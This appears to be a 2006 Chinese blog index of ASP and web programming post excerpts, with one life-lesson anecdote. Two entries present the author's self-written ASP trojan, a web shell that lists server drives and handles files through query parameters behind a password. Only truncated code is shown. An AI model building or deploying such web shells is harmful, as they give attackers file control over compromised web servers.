统计在线人数

那就是来一个用户,在线人数加一,离开一个用户,在线人数减一。 现在首先需要解决的问题是如何知道用户的进入和增加。 在asp中,用户进入访问页面的时候,会触发一个事情,事件名称是session_onstart,在离开的时候(准确地说,是在一定的时间内没有访问页面数据,缺省的时间是20分钟),也会触发一个事件,事件的名称是session_onend。我们可以在global.asa文件中定义这两个事件所执行的操作。 接下来我们需要考虑的问题是,如何让这个变量对于所有的人都是一样的(废话,不一样那一定不准确)。因此,我们首先想到的就是把在线人数放在一个application变量里。 到这...
默认分类 | 2006-08-09 16:49 | 阅读 2163 次 | 评论 0 条

运用模板生成静态页例

生成代码: <%fname="template.htm"dim replaceweb(2)replaceweb(0)="haha"replaceweb(1)="模版生成静态页面" '设置生成内容,实际中可从数据库读取replaceweb(2)="模版生成静态页面实例"set fso=server.createobject("scripting.filesystemobject")set file=fso.opentextfile(server.mappath(fname),1,True)FSOFileRead = file.ReadAllset file=nothingfo...
默认分类 | 2006-07-06 03:31 | 阅读 2316 次 | 评论 0 条

网页两侧浮动图片广告

<body><script language="JavaScript"> var delta=0.15 var collection; function floaters() { this.items = []; this.addItem = function(id,x,y,content) { document.write('<DIV id='+id+' style="Z-INDEX: 10; POSITION: absolute; width:80px; height:60px...
默认分类 | 2006-06-23 03:41 | 阅读 5189 次 | 评论 0 条

[转]AJAX中关于responseText乱码问题

用AJAX来GET回一个页面时,RESPONSETEXT里面的中文多半会出现乱码,这是因为xmlhttp在处理返回的responseText的时候,是把resposeBody按UTF-8编码进解码考形成的,如果服务器送出的确实是UTF-8的数据流的时候汉字会正确显示,而送出了GBK编码流的时候就乱了。解决的办法就是在送出的流里面加一个HEADER,指明送出的是什么编码流,这样XMLHTTP就不会乱搞了。PHP:header('Content-Type:text/html;charset=GB2312');ASP:Response.Charset("GB2312")JSP:response...
默认分类 | 2006-06-22 22:10 | 阅读 2872 次 | 评论 1 条

如何查询一个数据库中有哪些表\字段

建立好数据库连接后,下面代码可查出表名:<%Set rs=Conn.OpenSchema(adSchemaTables)do While not rs.EOFResponse.Write("表 名:" &amp; rs(2) &amp; "<br>")rs.MoveNextloop%> 下面代码可查出字段名: <%set rs=server.createobject("adodb.recordset")sql="select*from liuyian"rs.open sql,conn,1,1for i=0 to rs.fields.count -1 response.writ...
默认分类 | 2006-06-19 22:51 | 阅读 4316 次 | 评论 0 条

EXCEL如何表转入SQL

<%Option Explicit%> <!--#include file="conn.asp"--><%dim rssql,sql1set rssql=server.createobject("adodb.recordset") sql1="select*from sinfo" rssql.open sql1,conn,1,3%> <html><head><title>Excel</title></head><body><h2 align="center">以下记录已被转到SQL数据库中</h2><table border="1" width="95%" align="...
默认分类 | 2006-06-12 22:03 | 阅读 2062 次 | 评论 0 条

ASP木马的功能补充

前面写过一个ASP木马雏形,加上了下载功能,上传功能,移动功能: <%response.write"<CENTER>"fpath=Request.Querystring("fpath")ac=Request.Querystring("ac")URL=Request.ServerVariables("URL")webfolder=server.mappath("\test.asp")action2=Request("Action2")action=Request.Querystring("action")pws=request("pws")'在此处修改登录密码,修改下面的asdf为你的密...
默认分类 | 2006-06-12 16:52 | 阅读 2357 次 | 评论 0 条

很简洁的上传图片到数据库系统

<%dim conndim connstron error resume nextconnstr="DBQ="+server.mappath("zj.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"set conn=server.createobject("ADODB.CONNECTION")conn.open connstrSub rsclose() rs.close()set rs=nothingEnd SubSub connclose() conn.close()set conn=nothing...
默认分类 | 2006-06-10 21:31 | 阅读 2488 次 | 评论 0 条

自写的ASP木马

为学习FSO而写的,不要见笑 ----------------------------------------------------<%response.write"<CENTER>"fpath=Request.Querystring("fpath")ac=Request.Querystring("ac")ftext = Request.form("ftext")if fpath = "" then fpath = "C:\"end if'显示服务器上的所有驱动器和类型 response.write"<font size=2>服务器上驱动器: </font>" ...
默认分类 | 2006-06-10 21:28 | 阅读 2864 次 | 评论 0 条

看见自己

纽约有一栋摩天大楼的老板,每个月都为昂贵的电梯修理费苦恼,因为楼很高,电梯不是一叫就来,乘客往往等得不耐烦,一直连续按钮,所以电梯钮坏得很快。  人们虽看见电梯钮已经亮了,还是要再按一下才安心,好像別人按的都不算,非得自己的"魔术指"按一下,电梯才会来。这个老板在电梯旁贴很多告示,都没有效,最后他贴出悬赏,若有人能使乘客改变习惯,给与厚奖。  结果一名心理学家在电梯门上装了一片大镜子,轻易解決了问题。因为镜子使乘客看见自己的猴急样,只要一站到镜子前,立刻变有礼貌了,原先熙熙攘攘的人群,在镜子前都成了绅士、淑女,耐心等待电梯,这就是镜子的妙用。  很多时候,人不是故意要做出某...
人生感悟 | 2006-06-10 21:06 | 阅读 1731 次 | 评论 0 条
浏览28252次